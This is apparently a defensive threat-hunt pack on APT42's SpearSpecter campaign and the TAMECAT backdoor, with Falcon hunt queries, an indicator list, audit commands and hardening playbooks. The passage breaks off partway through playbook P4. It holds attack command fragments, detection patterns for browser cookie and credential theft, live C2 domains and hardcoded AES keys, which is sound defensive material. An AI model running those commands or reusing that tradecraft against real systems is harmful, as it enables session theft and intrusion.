APT42 — SpearSpecter Campaign & the TAMECAT Backdoor

What the attacker wants. APT42 (IRGC-Intelligence Organization; also tracked as Mint Sandstorm, Educated Manticore, CharmingCypress, and overlapping TA453) is not after mass compromise. It is after the contents of a small number of specific people's heads, mailboxes and browser sessions — senior defense and government officials, diplomats, and geopolitical experts, plus their family members as a softer route to the same circle. The SpearSpecter campaign, documented by Israel's National Digital Agency, spends days or weeks building a genuine-feeling relationship over personal email, corporate mail and WhatsApp before any malicious content appears. Conference invitations and meeting logistics are the pretext of choice.

What changed in 2026. Reporting on 2026-07-21 describes generative AI woven through the whole workflow: target research, persona and pretext development, multilingual lure generation, and malware engineering, debugging and exploit research. The practical consequence for defenders is that the classic phishing tells — awkward grammar, wrong register, cultural slips — are gone. Pretext plausibility is no longer a detection surface. Infrastructure, delivery mechanics and post-execution behaviour are.

The highest-value defensive angle. The delivery chain is fileless by design, but it is not signal-free. Between the click and a working TAMECAT implant, the chain fires an unusually distinctive sequence of Windows behaviours: a browser page invoking the search-ms URI handler, Explorer mounting an attacker WebDAV share via rundll32.exe davclnt.dll,DavSetCookie, a remote .lnk masquerading as a PDF launching cmd.exe, a curl download-rename-execute with --ssl-no-revoke, and PowerShell resolving Invoke-Expression through wildcard command lookup (gcm i*x). Each is individually rare in a healthy enterprise and none of them depend on knowing today's C2 domain. That behavioural chain is where this pack concentrates.

The second angle is identity, not the endpoint. TAMECAT's browser module launches Edge off-screen with --no-sandbox --remote-debugging-port=9222 and pulls decrypted cookies straight out of the DevTools protocol, and suspends Chrome with Sysinternals PsSuspend to unlock its credential databases. It also stages the Outlook .ost mailbox cache. The stolen material is sessions and tokens, which is why reporting is explicit that access survives a victim password reset. Any response that stops at "we reset the password" has not contained this actor.

Defender priority: hunt the delivery chain first (Q1–Q5), because it fires before collection begins and does not expire with the infrastructure. Then treat every confirmed hit as an identity incident, not a malware incident — revoke sessions and refresh tokens, invalidate cookies, and review OAuth grants and mailbox rules, because a password reset alone leaves the attacker's stolen session material working.

Eleven sources were fetched and their full text saved as provenance snapshots alongside this pack. Every atomic indicator shipped below was traced back to at least one of those snapshots; nothing here is reconstructed from memory. Sources are ranked by evidentiary weight, not publication date.

Analyst decisions and caveats

• Two-source rule applied to severity. Only indicators corroborated by two or more independent sources ship at prevent / critical. That is the four loader and dropper hashes (Pulsedive plus Mandiant, GBHackers and CyberPress). Everything else ships at detect or hunt.
• The April–May 2026 infrastructure is single-source. The Document.pdf.lnk SHA-256, the Netlify controllers, synctimenow[.]org, cloudfilenow[.]online, hsta[.]xyz, 1thebstack1[.]xyz and 107.189.25[.]18 appear only in the GBHackers relay of DarkAtlas research. They are shipped, but at detect/hunt and explicitly flagged single-source. Do not promote them to a blocking rule without independent confirmation — the IP in particular is likely shared hosting.
• One reporting discrepancy, resolved toward the primary. SecurityOnline states the browser module covers "Chrome, Edge, and Firefox". The INDA advisory and Mandiant describe only Edge (via DevTools remote debugging) and Chrome (via PsSuspend and Edge-as-reader). Firefox is treated as an aggregator embellishment and is not claimed in this pack; the CQL nonetheless projects browser process names broadly so a Firefox variant would still surface.
• Offensive content excluded by policy. The SOC Prime page carries a runnable attack-simulation script. It was read as analysis input only. Nothing in this pack reproduces it; all detection logic here is derived from reported behaviour, and all playbooks are defensive configuration.
• No source attempted to direct this analysis. Every fetched page read as ordinary threat-intelligence prose. No page contained instructions aimed at an automated reader, no page claimed prior authorisation, and no page redirected the IOC set elsewhere. No source was disqualified.
• Perishability. Infrastructure here spans Nov 2025 to May 2026 and is highly perishable — Cloudflare Workers, Netlify and Glitch subdomains are disposable by design. The behavioural queries (Q1–Q9, Q11) are the durable half of this pack; the atomic list (Q12) will decay within months.

Attack chain — telemetry and hunt angle per step

Hunt hypotheses, ordered by fidelity

All values below appear verbatim in a saved source snapshot. Indicators are defanged for safe display. Expiry follows the pack convention: prevent/detect plus six months, hunt plus three months.

File hashes

Network infrastructure — SpearSpecter, Nov 2025 (INDA)

Telegram command keywords and their Cloudflare Workers module hosts (INDA)

Network infrastructure — April to May 2026 chain

Single-source. Everything in this block comes from one 2026-07-21 report relaying DarkAtlas research. Ship as detect or hunt, review before any blocking rule, and treat the IP as probable shared hosting.

Non-network indicators (behavioural — do not import as atomic IOCs)

Checks that do not need Falcon. Run these alongside the CQL section — several cover ground the endpoint sensor cannot reach, particularly the identity half of this campaign.

Windows event logs

Identity, mail and network

No in-query time filter is set. Choose the window in the Falcon search console — start at 30 days for the delivery-chain queries (Q1–Q5) and 7 days for the noisier ones. Queries are ordered by fidelity: run Q1 through Q5 first.

// HUNT: WebDAV initial access -- rundll32.exe davclnt.dll,DavSetCookie to a remote share
// MITRE: T1218.011 | T1566.002 | T1204.001 | CONF: high  FP: medium  COST: low
// REQUIRES: ProcessRollup2 with full CommandLine capture
// FALSE POSITIVES: sanctioned SharePoint / WebDAV drive mapping; Explorer access to internal DAV shares
// TUNING: append an exclusion for your own DAV hosts, e.g.
//         | CommandLine!=/sharepoint\.com|dav\.internal-host\.example\.com/i
//         If WebDAV is not used at all, the WebClient service should be disabled (Playbook P2) and any hit is actionable.
#event_simpleName=/^(ProcessRollup2|SyntheticProcessRollup2)$/
| FileName=/^rundll32(\.exe)?$/i
| CommandLine=/davclnt\.dll/i
| CommandLine=/DavSetCookie/i
| table([@timestamp, ComputerName, UserName, ParentBaseFileName, FileName, CommandLine])
| sort(@timestamp, order=desc, limit=200)

// HUNT: curl with --ssl-no-revoke -- TAMECAT loader fetch and Firebase beacon
// MITRE: T1105 | T1059.003 | T1204.002 | CONF: high  FP: low  COST: low
// REQUIRES: ProcessRollup2 with full CommandLine capture
// FALSE POSITIVES: rare -- a few installers and CI agents disable revocation checking
// NOTE: review ParentBaseFileName. explorer.exe as the parent means a remote .lnk was opened.
#event_simpleName=/^(ProcessRollup2|SyntheticProcessRollup2)$/
| FileName=/^(cmd|curl|conhost)(\.exe)?$/i
| CommandLine=/--ssl-no-revoke/i
| table([@timestamp, ComputerName, UserName, GrandparentBaseFileName, ParentBaseFileName, FileName, CommandLine])
| sort(@timestamp, order=desc, limit=200)

// HUNT: wscript/cscript spawning PowerShell, cmd, conhost or curl (TAMECAT VBScript dropper)
// MITRE: T1059.005 | T1518.001 | T1047 | CONF: medium  FP: medium  COST: low
// REQUIRES: ProcessRollup2 with parent and grandparent process names
// FALSE POSITIVES: legacy VBScript logon/admin scripts and vendor installers routinely spawn shells
// TUNING: exclude your managed script paths and signed installers, e.g.
//         | ImageFileName!=/\\Program Files|\\Windows\\CCM\\|\\SysWOW64\\CCM\\/i
//         then rank the remainder by GrandparentBaseFileName -- explorer.exe or a browser is the interesting case.
#event_simpleName=/^(ProcessRollup2|SyntheticProcessRollup2)$/
| ParentBaseFileName=/^(wscript|cscript)\.exe$/i
| FileName=/^(powershell|pwsh|cmd|conhost|curl)(\.exe)?$/i
| table([@timestamp, ComputerName, UserName, GrandparentBaseFileName, ParentBaseFileName, FileName, CommandLine])
| sort(@timestamp, order=desc, limit=300)

// HUNT: conhost.exe --headless used to run a script with no visible window
// MITRE: T1564.003 | T1059.003 | T1037.001 | CONF: high  FP: low  COST: low
// REQUIRES: ProcessRollup2 with full CommandLine capture
// FALSE POSITIVES: effectively none on a standard fleet -- treat every hit as actionable
// NOTE: pivot on the referenced script path; C:\Users\Public and %LOCALAPPDATA% are the documented locations.
#event_simpleName=/^(ProcessRollup2|SyntheticProcessRollup2)$/
| FileName=/^conhost(\.exe)?$/i
| CommandLine=/--headless/i
| table([@timestamp, ComputerName, UserName, ParentBaseFileName, FileName, CommandLine])
| sort(@timestamp, order=desc, limit=200)

// HUNT: PowerShell resolving a cmdlet via wildcard Get-Command to conceal Invoke-Expression
// MITRE: T1027 | T1059.001 | T1620 | CONF: high  FP: low  COST: low
// REQUIRES: ProcessRollup2 with full CommandLine capture; pairs with PowerShell 4104 script-block logs
// FALSE POSITIVES: rare -- interactive discovery such as `gcm *service*` can match; check UserName and parent
// NOTE: also review the -w 1 / -WindowStyle Hidden flag and any Get-Content of a .txt under AppData.
#event_simpleName=/^(ProcessRollup2|SyntheticProcessRollup2)$/
| FileName=/^(powershell|pwsh)(\.exe)?$/i
| CommandLine=/(gcm|Get-Command)\s*.{0,3}\*/i
| table([@timestamp, ComputerName, UserName, ParentBaseFileName, FileName, CommandLine])
| sort(@timestamp, order=desc, limit=300)

// HUNT: Edge/Chrome launched with remote debugging + sandbox disabled (TAMECAT Browser module)
// MITRE: T1539 | T1185 | T1217 | T1562.001 | CONF: high  FP: low  COST: low
// REQUIRES: ProcessRollup2 with full CommandLine capture
// FALSE POSITIVES: developer and QA automation (Selenium, Playwright, Puppeteer) on engineering endpoints
// NOTE: a matching NetworkListenIP4 on LocalPort 9222 confirms the debug listener actually opened.
#event_simpleName=/^(ProcessRollup2|SyntheticProcessRollup2)$/
| FileName=/^(msedge|chrome|brave|msedgewebview2)(\.exe)?$/i
| CommandLine=/--remote-debugging-port|--remote-allow-origins/i
| CommandLine=/--no-sandbox|--window-position=-32000|--headless/i
| table([@timestamp, ComputerName, UserName, ParentBaseFileName, FileName, CommandLine])
| sort(@timestamp, order=desc, limit=200)

// HUNT: Sysinternals-style suspension utility run silently (PsSuspend against a browser)
// MITRE: T1555.003 | T1562.001 | CONF: medium  FP: medium  COST: low
// REQUIRES: ProcessRollup2 with full CommandLine and ImageFileName
// FALSE POSITIVES: genuine admin/support use of Sysinternals; RMM and helpdesk toolkits
// TUNING: exclude your sanctioned tooling directories and admin workstations, e.g.
//         | ImageFileName!=/\\SysinternalsSuite\\|\\Program Files\\|\\Windows\\CCM\\/i
//         Anything executing from %LOCALAPPDATA%\Caches is not a legitimate admin path -- prioritise those.
#event_simpleName=/^(ProcessRollup2|SyntheticProcessRollup2)$/
| CommandLine=/-accepteula/i
| CommandLine=/-nobanner/i
| table([@timestamp, ComputerName, UserName, ParentBaseFileName, FileName, ImageFileName, CommandLine])
| sort(@timestamp, order=desc, limit=300)

// HUNT: TAMECAT autostart values -- Renovation / UserInitMprLogonScript / systemUpdating
// MITRE: T1547.001 | T1037.001 | CONF: high  FP: low  COST: low
// REQUIRES: AsepValueUpdate and RegGenericValueUpdate registry telemetry
// FALSE POSITIVES: legacy environments still deploying per-user logon scripts may show UserInitMprLogonScript
// NOTE: RegStringValue carries the launched command -- capture it before remediating the key.
#event_simpleName=/^(AsepValueUpdate|RegGenericValueUpdate)$/
| RegValueName=/^(Renovation|UserInitMprLogonScript|systemUpdating)$/i
| table([@timestamp, ComputerName, UserName, RegObjectName, RegValueName, RegStringValue])
| sort(@timestamp, order=desc, limit=200)

// HUNT: TAMECAT registry bookkeeping keys and console delegation pinning
// MITRE: T1112 | T1547.001 | T1102.002 | CONF: medium  FP: medium  COST: low
// REQUIRES: registry value-update telemetry
// FALSE POSITIVES: Windows Terminal sets DelegationConsole/DelegationTerminal legitimately at install
// TUNING: baseline the console-delegation GUID your fleet normally writes and exclude it, then treat the
//         firstOrder and MSCore keys as the high-signal half -- neither belongs on a managed endpoint.
#event_simpleName=/^(AsepValueUpdate|RegGenericValueUpdate|RegSystemConfigValueUpdate)$/
| RegObjectName=/firstOrder|MSCore|Console\\%Startup%/i
| table([@timestamp, ComputerName, UserName, RegObjectName, RegValueName, RegStringValue])
| sort(@timestamp, order=desc, limit=300)

// HUNT: DNS to serverless / free-hosting platforms abused by SpearSpecter for staging and C2
// MITRE: T1071.001 | T1102.002 | T1583.006 | CONF: medium  FP: medium  COST: medium
// REQUIRES: DnsRequest telemetry; ContextBaseFileName populated for process attribution
// FALSE POSITIVES: sanctioned business use of Telegram, Discord, Netlify, Cloudflare Workers or Firebase
// TUNING: drop any platform your business genuinely uses from the alternation. If Telegram and Discord are
//         sanctioned, remove those two and keep workers.dev, glitch.me, netlify.app, firebaseio.com,
//         somee.com and azionedge.net. Then filter to script interpreters by adding, after the groupBy:
//         | ContextBaseFileName=/^(powershell|pwsh|cmd|curl|conhost|wscript|cscript|rundll32)(\.exe)?$/i
#event_simpleName=/^DnsRequest$/
| DomainName=/(workers\.dev|glitch\.me|netlify\.app|firebaseio\.com|somee\.com|azionedge\.net|scalingo\.io|api\.telegram\.org|discord\.com)$/i
| groupBy([DomainName, ContextBaseFileName, ComputerName], function=[count(as=Hits)], limit=20000)
| sort(Hits, order=asc, limit=500)

// HUNT: TAMECAT collection and staging artefacts under %LOCALAPPDATA%\Caches, and Outlook OST copies
// MITRE: T1074.001 | T1114.001 | T1005 | T1560.001 | CONF: medium  FP: medium  COST: medium
// REQUIRES: ProcessRollup2 with full CommandLine capture
// FALSE POSITIVES: backup, mailbox-migration and eDiscovery tooling copies .ost files as normal work
// TUNING: exclude your backup and migration agents by parent, e.g.
//         | ParentBaseFileName!=/^(veeam|commvault|backup|outlook)\w*\.exe$/i
//         and tighten Caches to the full path \AppData\Local\Caches\ once you have confirmed the shape.
#event_simpleName=/^(ProcessRollup2|SyntheticProcessRollup2)$/
| CommandLine=/\\Caches\\|ALL-?[0-9]*\.txt|FileCrawler|PersistenceMonitor|Runs\.dll|\.ost\b/i
| table([@timestamp, ComputerName, UserName, ParentBaseFileName, FileName, CommandLine])
| sort(@timestamp, order=desc, limit=300)

// HUNT: exact-match sweep for published TAMECAT loader / dropper / LNK hashes
// MITRE: T1204.002 | T1105 | CONF: high  FP: low  COST: low
// REQUIRES: ProcessRollup2 or PE file-write telemetry with hash fields populated
// FALSE POSITIVES: none -- exact hash match. Any hit is a confirmed detection, not a lead.
// NOTE: the 783a55... LNK is single-source (2026-07-21 reporting). Confirm before acting on it alone.
#event_simpleName=/^(ProcessRollup2|SyntheticProcessRollup2|PeFileWritten|NewExecutableWritten)$/
| SHA256HashData=/^(bd1f0fb085c486e97d82b6e8acb3977497c59c3ac79f973f96c395e7f0ca97f8|5404e39f2f175a0fc993513ee52be3679a64c69c79e32caa656fbb7645965422|783a55c215ff18ea618f5a63936e08044448901096ee4de2d23fcda740abe104)$/i
| table([@timestamp, ComputerName, UserName, FileName, ImageFileName, SHA256HashData, CommandLine])
| sort(@timestamp, order=desc, limit=200)

Five of the twelve queries are clean enough to promote to Custom IOAs. The rest stay investigate-only. Deploy every IOA in Detect mode against a pilot host group first, review a full week of hits, then move to Prevent only where the noise floor is genuinely zero. Path: Falcon → Endpoint Security → Custom IOA Rule Groups → Windows → Process Creation.

Investigate-only (no IOA)

Q3, Q7, Q9, Q10, Q11 and Q12 remain hunt queries. Q3, Q7, Q9 and Q11 need per-environment baselining before their false-positive rate is known; converting them to IOAs before that produces alert fatigue and nothing else. Q10 targets legitimate cloud platforms, so an IOA would fire on sanctioned traffic. Q12 is better served by Falcon IOC Management (Section 10), which handles hashes natively and expires them on schedule.

Alert package — IOA-1, IOA-3 and IOA-5

Every atomic value below appears verbatim in a saved source snapshot in APT42-TAMECAT-SpearSpecter-Hunt-sources/. Only indicators corroborated by two or more independent sources carry prevent/critical; single-source infrastructure ships at detect or hunt and is marked in the CSV comments.

type,value,action,severity,expiration,description,tags
# PREVENT tier -- two or more independent sources (Pulsedive + Mandiant / GBHackers / CyberPress)
sha256,bd1f0fb085c486e97d82b6e8acb3977497c59c3ac79f973f96c395e7f0ca97f8,prevent,critical,2027-01-27,TAMECAT PowerShell loader nconf.txt,campaign:SpearSpecter actor:APT42
sha256,5404e39f2f175a0fc993513ee52be3679a64c69c79e32caa656fbb7645965422,prevent,critical,2027-01-27,TAMECAT VBScript dropper with AV health check,campaign:SpearSpecter actor:APT42
md5,081419a484bbf99f278ce636d445b9d8,prevent,critical,2027-01-27,TAMECAT loader nconf.txt MD5,campaign:SpearSpecter actor:APT42
md5,d7bf138d1aa2b70d6204a2f3c3bc72a7,prevent,critical,2027-01-27,TAMECAT VBScript dropper MD5,campaign:SpearSpecter actor:APT42
# DETECT tier -- hashes
sha1,0ef4f7a8d7b1d34e10faa0bca1dcb76a518dd417,detect,high,2027-01-27,TAMECAT loader nconf.txt SHA1,campaign:SpearSpecter actor:APT42
sha1,3fd06c930ddc4b1914151f69454c087a42413a24,detect,high,2027-01-27,TAMECAT VBScript dropper SHA1 single-source,campaign:SpearSpecter actor:APT42
sha256,783a55c215ff18ea618f5a63936e08044448901096ee4de2d23fcda740abe104,detect,high,2027-01-27,Document.pdf.lnk Apr-2026 chain SINGLE-SOURCE verify before blocking,campaign:SpearSpecter actor:APT42
md5,dd2653a2543fa44eaeeff3ca82fe3513,hunt,medium,2026-10-27,Historical Jun-2023 TAMECAT sample for lineage retro-hunt,actor:APT42
# DETECT tier -- SpearSpecter Nov-2025 infrastructure (INDA advisory)
domain,accurate-sprout-porpoise.glitch.me,detect,high,2027-01-27,TAMECAT HTTPS C2 and exfiltration endpoint,campaign:SpearSpecter actor:APT42
domain,datadrift.somee.com,detect,high,2027-01-27,WebDAV host serving the disguised LNK,campaign:SpearSpecter actor:APT42
domain,filenest.info,detect,high,2027-01-27,Stage-one randomised-path redirector,campaign:SpearSpecter actor:APT42
domain,cloudcaravan.info,detect,high,2027-01-27,search-ms URI handler abuse page,campaign:SpearSpecter actor:APT42
domain,line.completely.workers.dev,detect,high,2027-01-27,Cloudflare Workers host serving temp.bat loader,campaign:SpearSpecter actor:APT42
domain,zx3nkaavlai.map.azionedge.net,detect,high,2027-01-27,Runtime-injected HTTPS C2 endpoint,campaign:SpearSpecter actor:APT42
domain,eaggcz2fj7yzqdzx97i96.darijo-bosanac-dl.workers.dev,detect,high,2027-01-27,Telegram keyword Invest module host,campaign:SpearSpecter actor:APT42
domain,f3nq6re4nmjwbr8ks5g2qu.darijo-bosanac-dl.workers.dev,detect,high,2027-01-27,Telegram keyword Scene module host,campaign:SpearSpecter actor:APT42
domain,kxp5sxfwiu7b6quo346hhyc.darijo-bosanac-dl.workers.dev,detect,high,2027-01-27,Telegram keyword Look module host,campaign:SpearSpecter actor:APT42
domain,2tv995jjg6cx679bspy.darijo-bosanac-dl.workers.dev,detect,high,2027-01-27,Telegram keyword Cnvrt module host,campaign:SpearSpecter actor:APT42
domain,mvwmh7pxxd33375gj9wwjhcmbk.darijo-bosanac-dl.workers.dev,detect,high,2027-01-27,Telegram keyword Trsdls module host,campaign:SpearSpecter actor:APT42
domain,27ehoddkc8t7jer4aic55uh3.darijo-bosanac-dl.workers.dev,detect,high,2027-01-27,Telegram keyword Anchor module host,campaign:SpearSpecter actor:APT42
domain,w5fb5r3txrsvga7zot9uz54k.darijo-bosanac-dl.workers.dev,detect,high,2027-01-27,Telegram keyword Trnspt module host,campaign:SpearSpecter actor:APT42
# DETECT / HUNT tier -- Apr-May 2026 chain. SINGLE-SOURCE. Review before any blocking rule.
domain,synctimenow.org,detect,high,2027-01-27,LNK staging port 8050 and seed-generated fallback domain,campaign:SpearSpecter actor:APT42
domain,cloudfilenow.online,detect,high,2027-01-27,LNK staging host port 8050,campaign:SpearSpecter actor:APT42
domain,personal-store.netlify.app,detect,high,2027-01-27,Confirmed LNK delivery endpoint,campaign:SpearSpecter actor:APT42
domain,projects-shared.netlify.app,detect,high,2027-01-27,TAMECAT controller and module-delivery host,campaign:SpearSpecter actor:APT42
domain,hsta.xyz,detect,high,2027-01-27,Workbook staging host,campaign:SpearSpecter actor:APT42
domain,1thebstack1.xyz,detect,high,2027-01-27,Controller endpoint Api/Session,campaign:SpearSpecter actor:APT42
ipv4,107.189.25.18,hunt,medium,2026-10-27,IP-based LNK staging port 8050 likely shared hosting HUNT ONLY,campaign:SpearSpecter actor:APT42
# NOT importable as apex domains -- block the full path at the proxy instead:
#   https://s3.tebi.io/icestorage/config/nconf.txt
#   https://s3.tebi.io/icestorage/df32s.txt

# Command-line substrings -- the durable half of this pack
rundll32.exe ... davclnt.dll,DavSetCookie      # WebDAV mount after search-ms prompt
curl ... --ssl-no-revoke                       # loader fetch and Firebase beacon
conhost --headless                             # windowless script execution
powershell -w 1                                # hidden-window loader
(gcm|Get-Command) followed by a wildcard       # concealed Invoke-Expression
msedge.exe --no-sandbox --remote-debugging-port=9222
msedge.exe --window-position=-32000,-32000     # off-screen collection window
pssuspend -accepteula -nobanner                # unlock Chrome credential DBs
cmd /c set VAR=... & call %VAR:x=%             # misspell-then-repair command line

# Filesystem
%LOCALAPPDATA%\Caches\                         # working directory
%LOCALAPPDATA%\Caches\ALL.txt, ALL-2.txt       # Base64 path queues, ;;; delimited
%LOCALAPPDATA%\Caches\FileCrawler.txt          # collection metadata
%LOCALAPPDATA%\Caches\SS\NO\                   # screenshot staging
%LOCALAPPDATA%\Caches\BS\Cookie__Last*.json    # DevTools cookie dumps
%LOCALAPPDATA%\Caches\Runs.dll                 # 5 MB chunking helper (reader2.reader)
%LOCALAPPDATA%\Caches\R.exe                    # renamed WinRAR
%LOCALAPPDATA%\Microsoft\Windows\AutoUpdate\   # loader script store
%LOCALAPPDATA%\Microsoft\Internet Explorer\List\   # Renovation launch folder
C:\Users\Public\Microsoft.bat                  # logon-script beacon
PersistenceMonitor.txt                         # 2026-chain temporary file

# Registry
HKCU\Software\Microsoft\Windows\CurrentVersion\Run  value: Renovation
HKU\...\Environment                            value: UserInitMprLogonScript
RunOnce                                        value: systemUpdating
HKCU\SOFTWARE\firstOrder\id                    # last Discord message id
HKCU\SOFTWARE\MSCore\config                    # victim identifier
HKCU\Console\%Startup%                         values: DelegationConsole, DelegationTerminal

# Network -- platform-independent
HTTP request header: Sec-Host                  # carries the 16-char AES IV
HTTP request header: Content-DPR               # same, older variant
Outbound TCP 8050                              # 2026 LNK staging port
Uploads in ~5,000,000-byte chunks with resume-from-offset
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36

# Malware / campaign names
TAMECAT          modular PowerShell backdoor (MITRE S1193)
NICECURL         sibling APT42 backdoor, same delivery tradecraft
SpearSpecter     campaign name (INDA, Nov 2025 onward)
APT42            aka Mint Sandstorm, Educated Manticore, CharmingCypress, TA453 (partial overlap)

# Obfuscation / crypto function names -- strong PowerShell 4104 and YARA anchors
Gorba            outer decode routine, params $te12 / $k12ey
Borjol           decoded loader function, defines globals
Borjoly          base64-decode then AES-decrypt
Borpos           AES-encrypt
xs               random 16-character IV generator
reader2.reader   .NET class inside Runs.dll used for chunked reads

# Hardcoded key material (do NOT import as IOCs -- use as content anchors)
kNz0CXiP0wEQnhZXYbvraigXvRVYHk1B   AES-256 key   (IV 0T9r1y1M2e0N0o1w)
T2r0y1M1e1n1o0w1                   family-lineage key value, also in a Jun-2023 sample
g9944pf33sbuuuspi3z2er6rqh9ermxk   runtime $global:EncryptionKey (INDA sample)
GILNH9LX6TCZ9V8ZZSUF               victim token observed in $configtxt

# Telegram command keywords
Invest  Scene  Look  Cnvrt  Trsdls  Anchor  Trnspt   #Journey (sets decryption key)  exit

# Third-party tooling abused
PsSuspend (Sysinternals)   suspend Chrome to release DB locks
WinRAR renamed to R.exe    archive staging
Chrome DevTools Protocol   Storage.getCookies over ws://127.0.0.1:9222

# Endpoint -- run as the audit pass before deploying Playbooks P1-P5
Test-Path 'HKLM:\SOFTWARE\Classes\search-ms'                      # expect False once hardened
(Get-Service WebClient).StartType                                 # expect Disabled
(Get-Service WebClient).Status                                    # expect Stopped
Get-ItemProperty 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging'
Get-ItemProperty 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging'
Get-MpPreference | Select-Object -ExpandProperty AttackSurfaceReductionRules_Ids
Get-MpPreference | Select-Object -ExpandProperty AttackSurfaceReductionRules_Actions
Get-ItemProperty 'HKLM:\SOFTWARE\Policies\Microsoft\Edge' -Name RemoteDebuggingAllowed
$ExecutionContext.SessionState.LanguageMode                       # expect ConstrainedLanguage

# Endpoint -- compromise assessment on a suspect host
Get-ItemProperty 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run'
Get-ItemProperty 'HKCU:\Software\Microsoft\Windows\CurrentVersion\RunOnce'
Get-ItemProperty 'HKCU:\Environment' -Name UserInitMprLogonScript -ErrorAction SilentlyContinue
Test-Path 'HKCU:\SOFTWARE\firstOrder'
Test-Path 'HKCU:\SOFTWARE\MSCore'
Get-ChildItem "$env:LOCALAPPDATA\Caches" -Recurse -ErrorAction SilentlyContinue
Get-ChildItem "$env:LOCALAPPDATA\Microsoft\Windows\AutoUpdate" -ErrorAction SilentlyContinue
Get-ChildItem "$env:LOCALAPPDATA\Microsoft\Internet Explorer\List" -ErrorAction SilentlyContinue

# Identity -- the half that a host rebuild does not fix
[ ] Revoke ALL refresh tokens and sign-in sessions for the affected principal
[ ] Invalidate browser cookies -- password reset alone does not
[ ] Review OAuth consent grants and app registrations created in the exposure window
[ ] Review inbox rules, forwarding addresses and mailbox delegations
[ ] Review registered authentication methods and enrolled devices
[ ] Confirm phishing-resistant MFA is enforced for the principal, not SMS or voice
[ ] Check Conditional Access for gaps that allow token replay from a new device

Work these four gates in order. A query that has not passed gate 2 will generate noise; a query that has not passed gate 3 may be silently dead.

A zero-hit result is not a clean bill of health here. This actor targets a handful of named individuals, uses per-target infrastructure, and runs almost entirely in memory. Treat Q1–Q9 as ongoing scheduled searches over the longest retention you have, not as a one-time sweep, and re-run them after every new APT42 disclosure.

Test every playbook on a pilot ring before fleet deployment. Each step lists its prerequisites, whether a reboot is needed, and how to undo it. Where a step changes endpoint state, the rollback is the exported backup taken in that same step — do not skip the export.

P1 — Remove the search-ms URI protocol handler

Prerequisites: local administrator or SYSTEM; deploy via GPO startup script, Intune or your RMM. Confirm no line-of-business application invokes search-ms: links — a small number of legacy intranet portals do.
Reboot required: No. Takes effect for new browser sessions.
Rollback: re-import the two .reg backups written in step 1. Keep them for at least one full patch cycle.

# 1. BACK UP FIRST -- this is the rollback artefact. Do not skip.
$bk = 'C:\ProgramData\HuntPack-Backup'
New-Item -ItemType Directory -Force -Path $bk | Out-Null
reg export "HKCR\search"    "$bk\search.reg"    /y
reg export "HKCR\search-ms" "$bk\search-ms.reg" /y

# 2. Remove the handlers
reg delete "HKCR\search"    /f
reg delete "HKCR\search-ms" /f

# 3. Verify -- both must report False
Test-Path 'HKLM:\SOFTWARE\Classes\search'
Test-Path 'HKLM:\SOFTWARE\Classes\search-ms'

# ROLLBACK
#   reg import "C:\ProgramData\HuntPack-Backup\search.reg"
#   reg import "C:\ProgramData\HuntPack-Backup\search-ms.reg"

P2 — Disable the WebClient (WebDAV) service

Prerequisites: local administrator. Confirm no mapped WebDAV drives are in use — audit first with the verification command below across a sample of hosts. SharePoint accessed through a browser or the OneDrive sync client does not require WebClient; only Explorer-based WebDAV mapping does.
Reboot required: No. Stopping the service is immediate.
Rollback: Set-Service WebClient -StartupType Manual then Start-Service WebClient. Original start type on Windows 10 and 11 is Manual (trigger-start).

# 0. AUDIT before enforcing -- how many hosts have ever started this service
Get-Service WebClient | Select-Object Name, Status, StartType

# 1. Stop and disable
Stop-Service  WebClient -Force -ErrorAction SilentlyContinue
Set-Service   WebClient -StartupType Disabled

# 2. Verify -- expect Stopped / Disabled
(Get-Service WebClient).Status
(Get-Service WebClient).StartType

# 3. CQL spot-check that the behaviour is gone post-deployment:
#    run Q1 over the 14 days AFTER rollout; expect zero rows.

# ROLLBACK
#   Set-Service WebClient -StartupType Manual
#   Start-Service WebClient

P3 — PowerShell Script Block Logging, Module Logging and transcription

Prerequisites: local administrator; SIEM ingestion capacity for the PowerShell Operational channel (this is the main cost — size it before enabling fleet-wide). Prefer GPO or Intune over direct registry writes so the setting is managed and reversible centrally.
Reboot required: No. Applies to new PowerShell sessions.
Rollback: set each EnableScriptBlockLogging / EnableModuleLogging value to 0, or unlink the GPO. Transcript output directory can then be archived and removed.

# Script Block Logging
$sb = 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging'
New-Item -Path $sb -Force | Out-Null
Set-ItemProperty -Path $sb -Name EnableScriptBlockLogging -Value 1 -Type DWord

# Module Logging (all modules)
$ml = 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging'
New-Item -Path "$ml\ModuleNames" -Force | Out-Null
Set-ItemProperty -Path $ml -Name EnableModuleLogging -Value 1 -Type DWord
Set-ItemProperty -Path "$ml\ModuleNames" -Name '*' -Value '*'

# Transcription to a protected, append-only share
$tr = 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription'
New-Item -Path $tr -Force | Out-Null
Set-ItemProperty -Path $tr -Name EnableTranscripting    -Value 1 -Type DWord
Set-ItemProperty -Path $tr -Name EnableInvocationHeader -Value 1 -Type DWord
Set-ItemProperty -Path $tr -Name OutputDirectory -Value '\\logsrv.internal-host.example.com\pslogs$' -Type String

# Verify
Get-ItemProperty $sb, $ml, $tr

# ROLLBACK
#   Set-ItemProperty -Path $sb -Name EnableScriptBlockLogging -Value 0
#   Set-ItemProperty -Path $ml -Name EnableModuleLogging      -Value 0
#   Set-ItemProperty -Path $tr -Name EnableTranscripting      -Value 0

P4 — Defender ASR rules for the delivery chain

Prerequisites: Microsoft Defender Antivirus active (not passive) and real-time protection on. Run in Audit mode (value 2) for at least one week first and review Microsoft-Windows-Windows Defender/Operational for blocked-in-audit events — the JavaScript/VBScript rule can affect legacy line-of-business scripts.
Reboot required: No.
Rollback: re-run with -AttackSurfaceReductionRules_Actions Disabled for the affected GUIDs, or use Remove-MpPreference to drop the rule entirely.

# Rule GUIDs
#   d3e037e1-3eb8-44c8-a917-57927947596d  Block JS/VBS from launching downloaded executable content
#   be9ba2d9-53ea-4cdc-84e5-9b1eeee46550  Block executable content from email client and webmail
#   d4f940ab-401b-4efc-aadc-ad5f3c50688a  Block Office apps from creating child processes

# STEP 1 -- AUDIT MODE (value 2). Run for one week. Do not skip.
